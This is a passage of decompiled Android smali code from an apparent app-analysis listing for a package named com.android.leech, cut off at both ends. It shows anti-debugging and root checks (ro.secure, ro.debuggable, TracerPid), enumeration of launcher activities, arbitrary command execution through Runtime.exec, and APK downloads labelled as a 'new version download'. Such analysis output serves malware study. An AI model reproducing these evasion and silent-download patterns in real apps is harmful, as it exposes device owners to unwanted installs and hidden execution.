                                                                              36if-eqz v3, :cond_1c
                                                                              38invoke-virtual {v3}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                                                                              39move-result v4
                                                                              40packed-switch v4, :pswitch_data_80
                                                                              41new-instance v6, Ljava/lang/StringBuilder;
                                                                              43invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              45const-string v7, "MOBILE("
                                                                              47invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              48move-result-object v6
                                                                              50invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              51move-result-object v6
                                                                              53const-string v7, ")"
                                                                              55invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              56move-result-object v6
                                                                              58invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              59move-result-object v0
                                                                              60goto/16 :goto_1c
                                                                              61pswitch_4f:
                                                                              62const-string v0, "GPRS"
                                                                              63goto/16 :goto_1c
                                                                              64pswitch_52:
                                                                              65const-string v0, "EDGE"
                                                                              66goto/16 :goto_1c
                                                                              67pswitch_55:
                                                                              68const-string v0, "UMTS"
                                                                              69goto/16 :goto_1c
                                                                              70pswitch_58:
                                                                              71const-string v0, "CDMA"
                                                                              72goto/16 :goto_1c
                                                                              73pswitch_5b:
                                                                              74const-string v0, "EVDO_0"
                                                                              75goto/16 :goto_1c
                                                                              76pswitch_5e:
                                                                              77const-string v0, "EVDO_A"
                                                                              78goto/16 :goto_1c
                                                                              79pswitch_61:
                                                                              80const-string v0, "1xRTT"
                                                                              81goto/16 :goto_1c
                                                                              82pswitch_64:
                                                                              83const-string v0, "HSDPA"
                                                                              84goto/16 :goto_1c
                                                                              85pswitch_67:
                                                                              86const-string v0, "HSUPA"
                                                                              87goto/16 :goto_1c
                                                                              88pswitch_6a:
                                                                              89const-string v0, "HSPA"
                                                                              90goto/16 :goto_1c
                                                                              91pswitch_6d:
                                                                              92const-string v0, "iDen"
                                                                              93goto/16 :goto_1c
                                                                              94pswitch_70:
                                                                              95const-string v0, "EVDO_B"
                                                                              96goto/16 :goto_1c
                                                                              97pswitch_73:
                                                                              98const-string v0, "LTE"
                                                                              99goto/16 :goto_1c
                                                                              100pswitch_76:
                                                                              101const-string v0, "eHRPD"
                                                                              102goto/16 :goto_1c
                                                                              103pswitch_79:
                                                                              104const-string v0, "HSPA+"
                                                                              105try_end_7b: goto/16 :goto_1c
                                                                              106catch_7c: move-exception v5
                                                                              108const-string v6, "WIFI"
                                                                              109goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.String.startsWith
                                                                              • java.lang.String.length
                                                                              • java.lang.String.substring
                                                                              • java.lang.String.trim
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.BufferedReader.close
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.BufferedReader.close
                                                                              Strings
                                                                              • ro.secure
                                                                              • |
                                                                              • \n
                                                                              • ro.debuggable
                                                                              • /proc/self/status
                                                                              • TracerPid:
                                                                              • tracer_pid
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2new-instance v0, Ljava/lang/StringBuilder;
                                                                              4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                                              6sget-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->a:Ljava/lang/String;
                                                                              7if-nez v5, :cond_11
                                                                              9const-string v5, "ro.secure"
                                                                              11invoke-static {p0, v5}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              12move-result-object v5
                                                                              13sput-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->a:Ljava/lang/String;
                                                                              14cond_11:
                                                                              15sget-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->a:Ljava/lang/String;
                                                                              16if-eqz v5, :cond_29
                                                                              18const-string v5, "ro.secure"
                                                                              20invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              22const-string v5, "|"
                                                                              24invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              26sget-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->a:Ljava/lang/String;
                                                                              28invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              30const-string v5, "\n"
                                                                              32invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              33cond_29:
                                                                              34sget-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->b:Ljava/lang/String;
                                                                              35if-nez v5, :cond_35
                                                                              37const-string v5, "ro.debuggable"
                                                                              39invoke-static {p0, v5}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              40move-result-object v5
                                                                              41sput-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->b:Ljava/lang/String;
                                                                              42cond_35:
                                                                              43sget-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->b:Ljava/lang/String;
                                                                              44if-eqz v5, :cond_4d
                                                                              46const-string v5, "ro.debuggable"
                                                                              48invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              50const-string v5, "|"
                                                                              52invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              54sget-object v5, Lcom/android/leech/base/bugly/util/DeviceUtil;->b:Ljava/lang/String;
                                                                              56invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              58const-string v5, "\n"
                                                                              60invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              61cond_4d: const/4 v1, 0x0
                                                                              62try_start_4e: new-instance v2, Ljava/io/BufferedReader;
                                                                              63new-instance v5, Ljava/io/FileReader;
                                                                              65const-string v6, "/proc/self/status"
                                                                              67invoke-direct {v5, v6}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              69invoke-direct {v2, v5}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              70try_end_5a: const/4 v3, 0x0
                                                                              71cond_5b:
                                                                              72invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              73move-result-object v3
                                                                              74if-eqz v3, :cond_69
                                                                              76const-string v5, "TracerPid:"
                                                                              78invoke-virtual {v3, v5}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                                              79move-result v5
                                                                              80if-eqz v5, :cond_5b
                                                                              81cond_69: if-eqz v3, :cond_86
                                                                              83const-string v5, "TracerPid:"
                                                                              85invoke-virtual {v5}, Ljava/lang/String;->length()I
                                                                              86move-result v5
                                                                              88invoke-virtual {v3, v5}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                                              89move-result-object v5
                                                                              91invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              92move-result-object v3
                                                                              94const-string v5, "tracer_pid"
                                                                              96invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              98const-string v5, "|"
                                                                              100invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              102invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              103cond_86:
                                                                              104invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              105try_end_89: move-result-object v4
                                                                              106if-eqz v2, :cond_8f
                                                                              107try_start_8c:
                                                                              108invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                                                                              109goto_8f: move-object v1, v2
                                                                              110goto_90: return-object v4
                                                                              111catch_91: move-exception v5
                                                                              112goto_92: if-eqz v1, :cond_97
                                                                              113try_start_94:
                                                                              114invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                                                                              115cond_97:
                                                                              116invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              117move-result-object v4
                                                                              118goto/16 :goto_90
                                                                              119catchall_9c: move-exception v5
                                                                              120goto_9d: if-eqz v1, :cond_a2
                                                                              121try_start_9f:
                                                                              122invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                                                                              123goto_a2: throw v5
                                                                              124catch_a3: move-exception v5
                                                                              125goto/16 :goto_8f
                                                                              126catch_a5: move-exception v5
                                                                              127goto/16 :goto_97
                                                                              128catch_a7: move-exception v6
                                                                              129goto/16 :goto_a2
                                                                              130catchall_a9: move-exception v5
                                                                              131move-object v1, v2
                                                                              132goto/16 :goto_9d
                                                                              133catch_ac: move-exception v5
                                                                              134move-object v1, v2
                                                                              135goto/16 :goto_92
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.ArrayList.<init>
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.addCategory
                                                                              • android.content.Intent.setAction
                                                                              • android.content.pm.PackageManager.queryIntentActivities
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.packageName:Ljava/lang/String
                                                                              • java.lang.String.equals
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.targetActivity:Ljava/lang/String
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.name:Ljava/lang/String
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.name:Ljava/lang/String
                                                                              • java.util.List.add
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.targetActivity:Ljava/lang/String
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.targetActivity:Ljava/lang/String
                                                                              • java.util.List.add
                                                                              Strings
                                                                              • android.intent.category.LAUNCHER
                                                                              • android.intent.action.MAIN
                                                                              • packageInfos:
                                                                              • name:
                                                                              • targetActivity:
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.annotation system Ldalvik/annotation/Signature;
                                                                              2value = {
                                                                              3"(",
                                                                              4"Landroid/content/Context;",
                                                                              5")",
                                                                              6"Ljava/util/List",
                                                                              7"<",
                                                                              8"Ljava/lang/String;",
                                                                              9">;"
                                                                              10}
                                                                              11.end annotation
                                                                              12.prologue
                                                                              13new-instance v0, Ljava/util/ArrayList;
                                                                              15invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                                                              16try_start_5:
                                                                              17invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              18move-result-object v3
                                                                              19new-instance v1, Landroid/content/Intent;
                                                                              21invoke-direct {v1}, Landroid/content/Intent;-><init>()V
                                                                              23const-string v5, "android.intent.category.LAUNCHER"
                                                                              25invoke-virtual {v1, v5}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                                                                              27const-string v5, "android.intent.action.MAIN"
                                                                              29invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                                                                              30const/4 v5, 0x0
                                                                              32invoke-virtual {v3, v1, v5}, Landroid/content/pm/PackageManager;->queryIntentActivities(Landroid/content/Intent;I)Ljava/util/List;
                                                                              33move-result-object v2
                                                                              34new-instance v5, Ljava/lang/StringBuilder;
                                                                              36invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              38const-string v6, "packageInfos:"
                                                                              40invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              41move-result-object v5
                                                                              43invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              44move-result-object v5
                                                                              46invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              47move-result-object v5
                                                                              49invoke-static {v5}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/String;)V
                                                                              51invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              52move-result-object v5
                                                                              53cond_37:
                                                                              54invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                                                                              55move-result v6
                                                                              56if-eqz v6, :cond_7e
                                                                              58invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              59move-result-object v4
                                                                              60check-cast v4, Landroid/content/pm/ResolveInfo;
                                                                              62invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              63move-result-object v6
                                                                              65iget-object v7, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              67iget-object v7, v7, Landroid/content/pm/ActivityInfo;->packageName:Ljava/lang/String;
                                                                              69invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              70move-result v6
                                                                              71if-eqz v6, :cond_37
                                                                              73iget-object v6, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              75iget-object v6, v6, Landroid/content/pm/ActivityInfo;->targetActivity:Ljava/lang/String;
                                                                              77invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              78move-result v6
                                                                              79if-eqz v6, :cond_7f
                                                                              80new-instance v6, Ljava/lang/StringBuilder;
                                                                              82invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              84const-string v7, "name:"
                                                                              86invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              87move-result-object v6
                                                                              89iget-object v7, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              91iget-object v7, v7, Landroid/content/pm/ActivityInfo;->name:Ljava/lang/String;
                                                                              93invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              94move-result-object v6
                                                                              96invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              97move-result-object v6
                                                                              99invoke-static {v6}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/String;)V
                                                                              101iget-object v6, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              103iget-object v6, v6, Landroid/content/pm/ActivityInfo;->name:Ljava/lang/String;
                                                                              105invoke-interface {v0, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                                              106goto/16 :goto_37
                                                                              107catch_7d: move-exception v5
                                                                              108cond_7e: return-object v0
                                                                              109cond_7f: new-instance v6, Ljava/lang/StringBuilder;
                                                                              111invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              113const-string v7, "targetActivity:"
                                                                              115invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              116move-result-object v6
                                                                              118iget-object v7, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              120iget-object v7, v7, Landroid/content/pm/ActivityInfo;->targetActivity:Ljava/lang/String;
                                                                              122invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              123move-result-object v6
                                                                              125invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              126move-result-object v6
                                                                              128invoke-static {v6}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/String;)V
                                                                              130iget-object v6, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              132iget-object v6, v6, Landroid/content/pm/ActivityInfo;->targetActivity:Ljava/lang/String;
                                                                              134invoke-interface {v0, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                                              135try_end_a0: goto/16 :goto_37
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.<init>
                                                                              • java.lang.String.<init>
                                                                              • java.util.ArrayList.add
                                                                              • java.lang.Runtime.getRuntime
                                                                              • java.lang.Runtime.exec
                                                                              • java.lang.Process.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.util.ArrayList.add
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.BufferedReader.close
                                                                              • java.lang.Process.getErrorStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.util.ArrayList.add
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              Strings
                                                                              • unknown(low memory)
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.param p1, "var1" # [Ljava/lang/String;
                                                                              2.annotation system Ldalvik/annotation/Signature;
                                                                              3value = {
                                                                              4"(",
                                                                              5"Landroid/content/Context;",
                                                                              6"[",
                                                                              7"Ljava/lang/String;",
                                                                              8")",
                                                                              9"Ljava/util/ArrayList",
                                                                              10"<",
                                                                              11"Ljava/lang/String;",
                                                                              12">;"
                                                                              13}
                                                                              14.end annotation
                                                                              15.prologue
                                                                              16const/4 v0, 0x0
                                                                              17new-instance v4, Ljava/util/ArrayList;
                                                                              19invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
                                                                              20const/4 v5, 0x0
                                                                              21const/4 v6, 0x0
                                                                              22const/4 v8, 0x0
                                                                              24invoke-static {p0}, Lcom/android/leech/base/bugly/encode/ap;->f(Landroid/content/Context;)Z
                                                                              25move-result v12
                                                                              26if-eqz v12, :cond_1f
                                                                              27new-instance v10, Ljava/util/ArrayList;
                                                                              29invoke-direct {v10}, Ljava/util/ArrayList;-><init>()V
                                                                              30new-instance v12, Ljava/lang/String;
                                                                              32const-string v13, "unknown(low memory)"
                                                                              34invoke-direct {v12, v13}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                                                                              36invoke-virtual {v10, v12}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                                                              37goto_1e: return-object v10
                                                                              38cond_1f:
                                                                              39invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                                                              40move-result-object v12
                                                                              42invoke-virtual {v12, p1}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
                                                                              43move-result-object v5
                                                                              44new-instance v7, Ljava/io/BufferedReader;
                                                                              45new-instance v12, Ljava/io/InputStreamReader;
                                                                              47invoke-virtual {v5}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              48move-result-object v13
                                                                              50invoke-direct {v12, v13}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              52invoke-direct {v7, v12}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              53try_end_35:
                                                                              54invoke-virtual {v7}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              55move-result-object v0
                                                                              56if-eqz v0, :cond_50
                                                                              58invoke-virtual {v4, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                                                              59try_end_3e: goto/16 :goto_35
                                                                              60catch_3f: move-exception v3
                                                                              61move-object v6, v7
                                                                              62goto_41: const/4 v11, 0x0
                                                                              63if-eqz v6, :cond_47
                                                                              64try_start_44:
                                                                              65invoke-virtual {v6}, Ljava/io/BufferedReader;->close()V
                                                                              66goto_47: if-eqz v8, :cond_4c
                                                                              67try_start_49:
                                                                              68invoke-virtual {v8}, Ljava/io/BufferedReader;->close()V
                                                                              69cond_4c: check-cast v11, Ljava/util/ArrayList;
                                                                              70move-object v10, v11
                                                                              71goto/16 :goto_1e
                                                                              72cond_50: new-instance v9, Ljava/io/BufferedReader;
                                                                              73new-instance v12, Ljava/io/InputStreamReader;
                                                                              75invoke-virtual {v5}, Ljava/lang/Process;->getErrorStream()Ljava/io/InputStream;
                                                                              76move-result-object v13
                                                                              78invoke-direct {v12, v13}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              80invoke-direct {v9, v12}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              81try_start_5e:
                                                                              82invoke-virtual {v9}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              83move-result-object v0
                                                                              84if-eqz v0, :cond_6c
                                                                              86invoke-virtual {v4, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                                                              87try_end_67: goto/16 :goto_5e
                                                                              88catch_68: move-exception v3
                                                                              89move-object v8, v9
                                                                              90move-object v6, v7
                                                                              91goto/16 :goto_41
                                                                              92cond_6c: if-eqz v7, :cond_71
                                                                              93try_start_6e:
                                                                              94invoke-virtual {v7}, Ljava/io/BufferedReader;->close()V
                                                                              95try_end_71: if-eqz v9, :cond_76
                                                                              96try_start_73:
                                                                              97invoke-virtual {v9}, Ljava/io/BufferedReader;->close()V
                                                                              98try_end_76: move-object v8, v9
                                                                              99move-object v6, v7
                                                                              100move-object v10, v4
                                                                              101goto/16 :goto_1e
                                                                              102catch_7a: move-exception v2
                                                                              104invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                                                                              105goto/16 :goto_71
                                                                              106catch_7f: move-exception v1
                                                                              108invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                                                              109goto/16 :goto_76
                                                                              110catch_84: move-exception v2
                                                                              112invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                                                                              113goto/16 :goto_47
                                                                              114catch_89: move-exception v1
                                                                              116invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                                                              117goto/16 :goto_4c
                                                                              118catchall_8e: move-exception v12
                                                                              119goto_8f: if-eqz v6, :cond_94
                                                                              120try_start_91:
                                                                              121invoke-virtual {v6}, Ljava/io/BufferedReader;->close()V
                                                                              122cond_94: if-eqz v8, :cond_99
                                                                              123try_start_96:
                                                                              124invoke-virtual {v8}, Ljava/io/BufferedReader;->close()V
                                                                              125cond_99: throw v12
                                                                              126catch_9a: move-exception v2
                                                                              128invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                                                                              129goto/16 :goto_94
                                                                              130catch_9f: move-exception v1
                                                                              132invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                                                              133goto/16 :goto_99
                                                                              134catchall_a4: move-exception v12
                                                                              135move-object v6, v7
                                                                              136goto/16 :goto_8f
                                                                              137catchall_a7: move-exception v12
                                                                              138move-object v8, v9
                                                                              139move-object v6, v7
                                                                              140goto/16 :goto_8f
                                                                              141catch_ab: move-exception v3
                                                                              142goto/16 :goto_41
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • java.lang.String.equals
                                                                              • android.net.Uri.parse
                                                                              • android.app.DownloadManager$Request.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.net.Uri.parse
                                                                              • android.app.DownloadManager$Request.setDestinationUri
                                                                              • android.app.DownloadManager$Request.setDescription
                                                                              • android.app.DownloadManager$Request.setNotificationVisibility
                                                                              • android.app.DownloadManager$Request.setMimeType
                                                                              • android.app.DownloadManager$Request.allowScanningByMediaScanner
                                                                              • android.app.DownloadManager$Request.setVisibleInDownloadsUi
                                                                              • android.app.DownloadManager.enqueue
                                                                              • android.content.IntentFilter.<init>
                                                                              • com.android.leech.main.ad.mini.util.ApkPreDownHelper$1.<init>
                                                                              • android.content.Context.registerReceiver
                                                                              • java.lang.Exception.toString
                                                                              Strings
                                                                              • download
                                                                              • 1
                                                                              • getSystemDownloadFile
                                                                              • file://
                                                                              • \u8f6f\u4ef6\u65b0\u7248\u672c\u4e0b\u8f7d
                                                                              • application/vnd.android.package-archive
                                                                              • android.intent.action.DOWNLOAD_COMPLETE
                                                                              • ad_others
                                                                              • ApkPreDownHelper|getSystemDownloadFile
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "offerlj" # Ljava/lang/String;
                                                                              2.param p2, "dowloadurl" # Ljava/lang/String;
                                                                              3.param p3, "packageName" # Ljava/lang/String;
                                                                              4.param p4, "filePath" # Ljava/lang/String;
                                                                              5.param p5, "listener" # Lcom/android/leech/main/ad/mini/util/ApkPreDownHelper$DownLoadListener;
                                                                              6.prologue
                                                                              8const-string v11, "download"
                                                                              10invoke-virtual {p0, v11}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              11move-result-object v2
                                                                              12check-cast v2, Landroid/app/DownloadManager;
                                                                              13move-object/from16 v3, p2
                                                                              15const-string v11, "1"
                                                                              17invoke-virtual {p1, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              18move-result v11
                                                                              19if-eqz v11, :cond_1a
                                                                              20move-object/from16 v0, p2
                                                                              21move-object/from16 v1, p3
                                                                              23invoke-static {p0, v0, v1}, Lcom/android/leech/main/ad/mini/util/ApkPreDownHelper;->getDownloadUrl(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              24move-result-object v3
                                                                              25cond_1a:
                                                                              26invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                                                              27move-result-object v10
                                                                              28try_start_1e:
                                                                              29const-string v11, "getSystemDownloadFile"
                                                                              31const-string v12, ""
                                                                              33const-string v13, ""
                                                                              35invoke-static {v11, v12, v13}, Lcom/gd/AnalyticsManager;->sendCustomEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              36new-instance v9, Landroid/app/DownloadManager$Request;
                                                                              38invoke-direct {v9, v10}, Landroid/app/DownloadManager$Request;-><init>(Landroid/net/Uri;)V
                                                                              39new-instance v11, Ljava/lang/StringBuilder;
                                                                              41invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                                                                              43const-string v12, "file://"
                                                                              45invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              46move-result-object v11
                                                                              47move-object/from16 v0, p4
                                                                              49invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              50move-result-object v11
                                                                              52invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              53move-result-object v11
                                                                              55invoke-static {v11}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                                                              56move-result-object v11
                                                                              58invoke-virtual {v9, v11}, Landroid/app/DownloadManager$Request;->setDestinationUri(Landroid/net/Uri;)Landroid/app/DownloadManager$Request;
                                                                              60const-string v11, "\u8f6f\u4ef6\u65b0\u7248\u672c\u4e0b\u8f7d"
